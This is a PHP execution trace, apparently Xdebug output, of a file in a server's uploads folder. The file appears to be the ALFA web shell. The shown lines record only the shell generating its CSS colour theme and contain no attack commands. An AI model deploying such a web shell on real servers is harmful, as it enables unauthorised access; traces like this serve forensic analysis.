5		A						/var/www/html/uploads/hw0.php	618	$target = '#00FF00'
5	141	1	0.018707	2799400
5	141	R			'#00FF00'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.header_none{color: #00FF00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'home_shell'
5	142	0	0.018751	2799464	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'home_shell'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#ff0000'
5	142	1	0.018774	2799464
5	142	R			'#ff0000'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.home_shell{color: #ff0000;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'home_shell:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.home_shell:hover'
5	143	0	0.018829	2799464	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'home_shell:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
5	143	1	0.018858	2799464
5	143	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	144	0	0.018882	2799464	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	144	1	0.018898	2799600
5	144	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.home_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'back_shell'
5	145	0	0.018943	2799520	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'back_shell'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#efbe73'
5	145	1	0.018967	2799520
5	145	R			'#efbe73'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#efbe73'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.back_shell{color: #efbe73;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'back_shell:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.back_shell:hover'
5	146	0	0.019022	2799520	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'back_shell:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
5	146	1	0.019052	2799520
5	146	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	147	0	0.019075	2799520	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	147	1	0.019089	2799656
5	147	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.back_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_pwd'
5	148	0	0.019135	2799584	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'header_pwd'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#00FF00'
5	148	1	0.019159	2799584
5	148	R			'#00FF00'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.header_pwd{color: #00FF00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_pwd:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.header_pwd:hover'
5	149	0	0.019213	2799584	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'header_pwd:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
5	149	1	0.019241	2799584
5	149	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	150	0	0.019265	2799584	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	150	1	0.019280	2799720
5	150	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.header_pwd:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_drive'
5	151	0	0.019328	2799712	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'header_drive'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#00FF00'
5	151	1	0.019352	2799712
5	151	R			'#00FF00'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.header_drive{color: #00FF00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_drive:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.header_drive:hover'
5	152	0	0.019407	2799712	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'header_drive:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
5	152	1	0.019435	2799712
5	152	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	153	0	0.019458	2799712	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	153	1	0.019473	2799848
5	153	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.header_drive:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_show_all'
5	154	0	0.019518	2799712	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'header_show_all'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#00FF00'
5	154	1	0.019542	2799712
5	154	R			'#00FF00'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.header_show_all{color: #00FF00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'disable_functions'
5	155	0	0.019586	2799712	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'disable_functions'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#ff0000'
5	155	1	0.019610	2799712
5	155	R			'#ff0000'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.disable_functions{color: #ff0000;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'footer_text'
5	156	0	0.019655	2799840	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'footer_text'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#27979B'
5	156	1	0.019679	2799840
5	156	R			'#27979B'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#27979B'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.footer_text{color: #27979B;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'menu_options'
5	157	0	0.019724	2799840	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'menu_options'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#27979B'
5	157	1	0.019747	2799840
5	157	R			'#27979B'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#27979B'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.menu_options{color: #27979B;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'menu_options:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.menu_options:hover'
5	158	0	0.019803	2799840	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'menu_options:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
5	158	1	0.019834	2799840
5	158	R			'#646464'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#646464'
5	159	0	0.019858	2799840	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#646464'	'background-color: {color};font-weight: unset;'
5	159	1	0.019875	2800016
5	159	R			'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'options_list'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.content_options_holder .header center a'
5	160	0	0.019945	2800008	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'options_list'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
5	160	1	0.019976	2800008
5	160	R			'#00FF00'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#00FF00'
5	161	0	0.020000	2800008	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#00FF00'	'color: {color};'
5	161	1	0.020014	2800144
5	161	R			'color: #00FF00;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.content_options_holder .header center a{color: #00FF00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'options_list:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.content_options_holder .header center a:hover'
5	162	0	0.020075	2799968	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'options_list:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
5	162	1	0.020106	2799968
5	162	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	163	0	0.020129	2799968	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	163	1	0.020144	2800104
5	163	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'options_list_header'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.txtfont_header'
5	164	0	0.020203	2800096	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'options_list_header'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
5	164	1	0.020234	2800096
5	164	R			'#59cc33'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#59cc33'
5	165	0	0.020258	2800096	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#59cc33'	'color: {color};'
5	165	1	0.020273	2800232
5	165	R			'color: #59cc33;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #59cc33;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.txtfont_header{color: #59cc33;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'options_list_text'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.txtfont,.tbltxt'
5	166	0	0.020331	2800096	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'options_list_text'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
5	166	1	0.020361	2800096
5	166	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	167	0	0.020384	2800096	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	167	1	0.020399	2800232
5	167	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'Alfa+'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.alfa_plus'
5	168	0	0.020457	2800096	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'Alfa+'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
5	168	1	0.020487	2800096
5	168	R			'#06ff0f'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#06ff0f'
5	169	0	0.020511	2800096	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#06ff0f'	'color: {color};font-weight: unset;'
5	169	1	0.020527	2800256
5	169	R			'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'hidden_shell_text'
4		A						/var/www/html/uploads/hw0.php	634	$k = '#hidden_sh a'
5	170	0	0.020591	2800120	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'hidden_shell_text'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
5	170	1	0.020621	2800120
5	170	R			'#00FF00'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#00FF00'
5	171	0	0.020644	2800120	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#00FF00'	'color: {color};'
5	171	1	0.020660	2800256
5	171	R			'color: #00FF00;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '#hidden_sh a{color: #00FF00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'hidden_shell_version'
5	172	0	0.020707	2800352	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'hidden_shell_version'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#ff0000'
5	172	1	0.020731	2800352
5	172	R			'#ff0000'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.hidden_shell_version{color: #ff0000;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'shell_name'
5	173	0	0.020776	2800352	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'shell_name'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#FF0000'
5	173	1	0.020800	2800352
5	173	R			'#FF0000'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#FF0000'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.shell_name{color: #FF0000;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_row:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.main tr:hover'
5	174	0	0.020855	2800352	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'main_row:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
5	174	1	0.020884	2800352
5	174	R			'#646464'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#646464'
5	175	0	0.020908	2800352	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#646464'	'background-color: {color};'
5	175	1	0.020925	2800504
5	175	R			'background-color: #646464;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.main tr:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_header'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.main th'
5	176	0	0.020985	2800368	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'main_header'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
5	176	1	0.021014	2800368
5	176	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	177	0	0.021038	2800368	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	177	1	0.021053	2800504
5	177	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.main th{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_name'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.main .main_name'
5	178	0	0.021110	2800352	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'main_name'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
5	178	1	0.021141	2800352
5	178	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	179	0	0.021165	2800352	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};font-weight: unset;'
5	179	1	0.021185	2800512
5	179	R			'color: #FFFFFF;font-weight: unset;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;font-weight: unset;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_size'
5	180	0	0.021242	2800376	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'main_size'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#67ABDF'
5	180	1	0.021267	2800376
5	180	R			'#67ABDF'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.main_size{color: #67ABDF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_modify'
5	181	0	0.021313	2800376	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'main_modify'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#67ABDF'
5	181	1	0.021337	2800376
5	181	R			'#67ABDF'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.main_modify{color: #67ABDF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_owner_group'
5	182	0	0.021425	2800632	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'main_owner_group'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#67ABDF'
5	182	1	0.021449	2800632
5	182	R			'#67ABDF'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.main_owner_group{color: #67ABDF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_green_perm'
5	183	0	0.021495	2800632	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'main_green_perm'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#25ff00'
5	183	1	0.021519	2800632
5	183	R			'#25ff00'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#25ff00'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.main_green_perm{color: #25ff00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_red_perm'
5	184	0	0.021564	2800632	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'main_red_perm'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#FF0000'
5	184	1	0.021587	2800632
5	184	R			'#FF0000'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#FF0000'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.main_red_perm{color: #FF0000;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_white_perm'
5	185	0	0.021633	2800632	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'main_white_perm'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#FFFFFF'
5	185	1	0.021657	2800632
5	185	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.main_white_perm{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'beetween_perms'
5	186	0	0.021701	2800632	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'beetween_perms'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#FFFFFF'
5	186	1	0.021724	2800632
5	186	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.beetween_perms{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'main_actions'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.main .actions'
5	187	0	0.021779	2800632	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'main_actions'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
5	187	1	0.021808	2800632
5	187	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	188	0	0.021831	2800632	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	188	1	0.021847	2800768
5	188	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.main .actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'minimize_editor_background'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.minimized-wrapper'
5	189	0	0.021909	2800608	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'minimize_editor_background'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
5	189	1	0.021941	2800608
5	189	R			'#0e304a'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0e304a'
5	190	0	0.021965	2800608	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0e304a'	'background-color: {color};'
5	190	1	0.021981	2800760
5	190	R			'background-color: #0e304a;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #0e304a;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.minimized-wrapper{background-color: #0e304a;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'minimize_editor_text'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.minimized-text'
5	191	0	0.022041	2800624	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'minimize_editor_text'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
5	191	1	0.022072	2800624
5	191	R			'#f5deb3'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#f5deb3'
5	192	0	0.022096	2800624	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#f5deb3'	'color: {color};'
5	192	1	0.022111	2800760
5	192	R			'color: #f5deb3;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #f5deb3;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.minimized-text{color: #f5deb3;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_border'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.editor-explorer,.editor-modal'
5	193	0	0.022170	2800864	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
5	193	1	0.022202	2800864
5	193	R			'#0e304a'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0e304a'
5	194	0	0.022226	2800864	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0e304a'	'border: 2px solid {color};'
5	194	1	0.022242	2801016
5	194	R			'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_background'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.editor-explorer,.editor-modal'
5	195	0	0.022305	2800880	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_background'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
5	195	1	0.022338	2800880
5	195	R			'rgba(0, 1, 23, 0.94)'
4		A						/var/www/html/uploads/hw0.php	635	$color = 'rgba(0, 1, 23, 0.94)'
5	196	0	0.022364	2800880	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'rgba(0, 1, 23, 0.94)'	'background-color: {color};'
5	196	1	0.022380	2801056
5	196	R			'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_header_background'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.editor-header'
5	197	0	0.022444	2800904	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_header_background'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
5	197	1	0.022480	2800904
5	197	R			'rgba(21, 66, 88, 0.93)'
4		A						/var/www/html/uploads/hw0.php	635	$color = 'rgba(21, 66, 88, 0.93)'
5	198	0	0.022562	2800904	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'rgba(21, 66, 88, 0.93)'	'background-color: {color};'
5	198	1	0.022588	2801080
5	198	R			'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_header_text'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.editor-path'
5	199	0	0.022685	2800904	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_header_text'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
5	199	1	0.022729	2800904
5	199	R			'#00ff7f'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#00ff7f'
5	200	0	0.022765	2800904	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#00ff7f'	'color: {color};'
5	200	1	0.022788	2801040
5	200	R			'color: #00ff7f;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #00ff7f;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.editor-path{color: #00ff7f;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_header_button'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.close-button, .editor-minimize'
5	201	0	0.022877	2800864	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_header_button'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
5	201	1	0.022923	2800864
5	201	R			'#1d5673'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#1d5673'
5	202	0	0.022961	2800864	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#1d5673'	'background-color: {color};'
5	202	1	0.022984	2801016
5	202	R			'background-color: #1d5673;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #1d5673;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_actions'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.editor_actions'
5	203	0	0.023078	2801136	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_actions'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
5	203	1	0.023121	2801136
5	203	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	204	0	0.023157	2801136	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	204	1	0.023179	2801272
5	204	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.editor_actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_file_info_vars'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.editor_file_info_vars'
5	205	0	0.023268	2801120	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_file_info_vars'
